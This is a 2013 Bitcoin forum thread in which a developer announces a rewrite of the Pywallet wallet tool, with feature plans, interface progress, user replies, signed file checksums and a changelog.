  • PyQt if you want to try the GUI


The first signing address is 1Azzay7wH1FnDE5yZMPU57y75SuT4DbGc7.
I will sign the SHA256 of the first file with this address, then once you're sure the file is ok it will check by itself when updating.
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 20, 2013, 03:04:25 PM
#10
I think I finished the "frameworks" (not sure it's the correct word)

As you can see the GUI and the WUI are simple and ugly
If someone here has some graphical skills and has some ideas, please tell me what to do
Not ugly. Plain and simple. I think that is a lot better then a fancy GUI. Great project btw!
Thanks
I hope it's enough but I'm still very open to discussion if someone wants me to change that


I need some thoughts
Currently I have the old pywallet tabs (dump, import, delete, etc.) + new ones like ecdsa calculation, settings, signatures
Should I put the old ones (dump etc., which are related to wallets) in a new Wallet tab?

I supposed so

Edit:
"NPW" can be updated from CLI, GUI and WUI. The update is taken from github and is signed by a private key of mine.
copper member
Activity: 3892
Merit: 2197
Verified awesomeness ✔
September 19, 2013, 08:03:22 AM
#9
I think I finished the "frameworks" (not sure it's the correct word)

As you can see the GUI and the WUI are simple and ugly
If someone here has some graphical skills and has some ideas, please tell me what to do
Not ugly. Plain and simple. I think that is a lot better then a fancy GUI. Great project btw!
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 19, 2013, 07:43:52 AM
#8
I think I finished the "frameworks" (not sure it's the correct word)

As you can see the GUI and the WUI are simple and ugly
If someone here has some graphical skills and has some ideas, please tell me what to do
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 18, 2013, 09:15:04 AM
#7
WUI progress:


Edit:
Last version
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 17, 2013, 08:29:29 AM
#6
Thanks for your interest guys.
Looks like importing features is rather easy so the next (last?) tricky task will be to implement the web server class I made.

It would be nice to see this on mac Wink
It would only require python and repairing the python bsd package (broken in osx).



A few images:

Click "..."

Select wallet.dat

Click "dump"

legendary
Activity: 1498
Merit: 1000
September 17, 2013, 04:26:00 AM
#6
It would be nice to see this on mac Wink
legendary
Activity: 3416
Merit: 1912
The Concierge of Crypto
September 17, 2013, 04:23:54 AM
#5
I'm always a fan. watch-wallet and insert-random-wallet and pretending to be Satoshi were my favorite features.
full member
Activity: 220
Merit: 100
September 17, 2013, 03:24:57 AM
#4
this is fantastic.  Thank you!
hero member
Activity: 560
Merit: 517
September 16, 2013, 07:49:48 PM
#3
Very cool to Pywallet getting some much needed spring cleaning.  Besides its obvious uses, I've found it to be a useful reference for understanding how bitcoind uses BDB, quickly bringing up some ECDSA math in Python, etc.

Keep it up!
legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 14, 2013, 08:20:31 PM
#2
Progress so far



legendary
Activity: 1176
Merit: 1233
May Bitcoin be touched by his Noodly Appendage
September 14, 2013, 08:19:58 PM
#1
Pywallet is a software I forked 2 years ago. It allowed importing addresses into wallets and dumping wallets. Since then I added functionalities like deleting keys, merging wallets and building transactions, among others.
I have planned to rebuild Pywallet from scratch for a few months now.

Some reasons made this rebuilding absolutely necessary:
  • I'm far better at Python and Bitcoin
  • The amount of code I added is huge and the additions lacked logic
  • The code then became a mess and hard to maintain
  • This prevents developpers to read/check the code efficiently
  • A part of the code is from Joric and this prevents me from having a global view of the code
  • The CLI and the WUI of pywallet are totally divided, so:
    • The features that are shared by them are written twice
    • They don't even have access to the same features
  • Some dependencies are actually unnecessary
  • I'd like to have a GUI

The rebuilding has now started.
Currently the plan is:
  • Create unique feature declarations
  • Create the CLI system and make it handle the features
  • Create the GUI system and make it handle the features
  • Create the WUI system and make it handle the features
  • Easy update
  • Windows executable (only one file)
  • Make walletdump reads a passphrase
  • Implement real features*
  • Make a CSS for the WUI
  • Use Ajax in the WUI
  • Create a class instead of using global variables

The purpose of this thread is to post the progression and to read about the suggestions or comments you might have.





* Implemented features so far:
Quote
Dump your wallet
Dump your keys

Dump your transactions to a file **
Recover wallets
Import a key into your wallet
Import keys

Merge two wallets
Import a transaction into your wallet
Import a read-only address (encrypted wallets only)
Get some info about one key and sign/verify messages
Print the balance of a Bitcoin address

Delete keys from your wallet
Transaction creation
Plus those new ones:
Quote
ECDSA calculations
Dump wallets from other clients ** (Electrum, other)

** Not sure I will ever implement it



Signed files checksums (signed with 1Azzay7wH1FnDE5yZMPU57y75SuT4DbGc7):
Code:
NPW_0.0.1a.exe:
  MD5           3ebe9b641bc3511e366fa9dc868bdbef
  SHA1          bfd521ecc8364e292b1d4e7fabccfdd93c77b9c2
  SHA256        0fe5c2b8878196d1f2d3626c35b0e9f39a233e658304c9f2162aa8aad07e8a16
  SHA512        803892c90cf3b02640110d370f3fe7c1eb5fa57d943d10439e8e78b617261c38
                ea05b9ebeda20ee74c7783712837dffe314349e7d30ce16079ddf527ab19120b
NPW_0.0.1a2.exe:
  MD5           0ff99e98d5a07fddf7e7d20bce01aa63
  SHA1          01293db30497fd139e2e9415a076977ecd2b98ce
  SHA256        4da78b463b067bef501051d4f51f027c479e8706657d630273febd2576dbd288
  SHA512        5e84110cda8c51077313c00e204b52a9d2bc56053f3b618481a2fdba22f10bc5
                7d25a3aa9b1df37c29c1cdd416ff3a1804298081ad85f77827bd14ec3708e16a
NPW_0.0.1a2.py:
  MD5           464060d5ac6a702390182deb0d12ab27
  SHA1          52eb984f273975daf1173554e81c77bdcbb1add1
  SHA256        cbd79d59112d9180e2f3f2d8fb631d9a1b36dc4a0207fa3f39832325697606ed
  SHA512        a698f94fa2bb7303bc05f5f5bea5f9f43db0b3b84cb28020115ff9ef18f82e96
                c3ceabc087ce0140f8b0cdd173218c3189bf0767fbb1612a8df09e6a66a08bd6
NPW_0.0.1a3.exe:
  MD5           52e0895e4c8da43b9a78909e7772c18d
  SHA1          5bae63fe5e4827d03104b76b0b673a5900be1c1b
  SHA256        9aa688140cd6c79408d5edc59ec8f2720a063771dd77b49a59e4d0cae08ef971
  SHA512        ab1b3c72c3f66b6b4696652382fe295f423d2a714f4cccecddffa60661034610
                f3a351d8d96a2f91ed97de39e4f79e4d18e6c034b39103c06ed3616d8edf8522
NPW_0.0.1a3.py:
  MD5           8090c5fdb2800534c52ba24dec327b95
  SHA1          92592acc16752ea285617ff82818eea63ea99269
  SHA256        a7f6fe3398aec3075a228a1b9eca13246011bd4410acc9c26acac62ee7fda55e
  SHA512        599bc210abeaeee5a431bba29c018937f11e573c7d070d6e4a2574b9428a989f
                f2826c2353f931ad66bc7e7f6e9f7c93e29c11556bc3a990e3ebf9fe53e10f99
G96SnyJGBtV4tC21UvjdxznMpuMV4joDrKZNdBZa3Nd5NXL8+8gwR961xEpuSwet1umEnIVinN3zva8tygnCmHQ=

Code:
MD5:
d14d53f3231326bba42678f73e852176        NPW_0.0.1a4
Gw570HiPRLzmzbOhUhjEUy1uG1nkGj7spIuZRyP/5AhRhziKUah4NFjZj3+21YrYHcq8AQ4dGZy+xB2WVtjUPz0=



NEVER RUN A FILE I DIDN'T SIGN!
If you think one file contains a malware:
  • Tell me
  • Ask mods to remove the links pointing to it (see the message I signed below)
  • Post a link to a virustotal.com analysis



Changelog:
0.0.1a6:
- doesn't need pywallet to run
- more info about private key
- CLI if bad --ui
Jump to: